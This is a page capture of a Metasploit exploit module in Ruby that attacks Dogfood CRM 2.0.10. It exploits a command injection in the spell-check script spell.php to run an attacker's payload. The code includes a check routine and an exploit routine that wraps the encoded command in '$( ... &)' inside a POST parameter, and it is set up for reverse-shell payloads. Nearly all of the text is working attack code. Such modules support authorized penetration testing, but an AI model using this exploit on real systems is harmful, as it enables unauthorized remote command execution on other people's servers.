Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/dogfood_spell_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'Dogfood CRM spell.php Remote Command Execution',13'Description' => %q{14This module exploits a previously unpublished vulnerability in the15Dogfood CRM mail function which is vulnerable to command injection16in the spell check feature. Because of character restrictions, this17exploit works best with the double-reverse telnet payload. This18vulnerability was discovered by LSO and affects v2.0.10.19},20'Author' =>21[22'LSO <lso[at]hushmail.com>', # Exploit module23'aushack', # Added check code, QA tested ok 20090303, there are no references (yet).24],25'License' => BSD_LICENSE,26'References' =>27[28[ 'OSVDB', '54707' ],29[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],30],31'Privileged' => false,32'Platform' => ['unix'], # aushack - removed win, linux -> untested33'Arch' => ARCH_CMD,34'Payload' =>35{36'Space' => 1024,37'DisableNops' => true,38'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install39'Compat' =>40{41'PayloadType' => 'cmd cmd_bash',42'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',43}44},45'Targets' => [ ['Automatic', { }], ],46'DefaultTarget' => 0,47'DisclosureDate' => '2009-03-03'48))4950register_options(51[52OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']),53])5455end5657def check58res = send_request_raw(59{60'uri' => normalize_uri(datastore['URIPATH']),61}, 1)6263if (res and res.body =~ /Spell Check complete/)64return Exploit::CheckCode::Detected65end66return Exploit::CheckCode::Safe67end6869def exploit70timeout = 17172cmd = payload.encoded73data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"74uri = normalize_uri(datastore['URIPATH'])7576response = send_request_cgi(77{78'uri' => uri,79'method' => "POST",80'data' => data81},82timeout)8384handler85end86end878889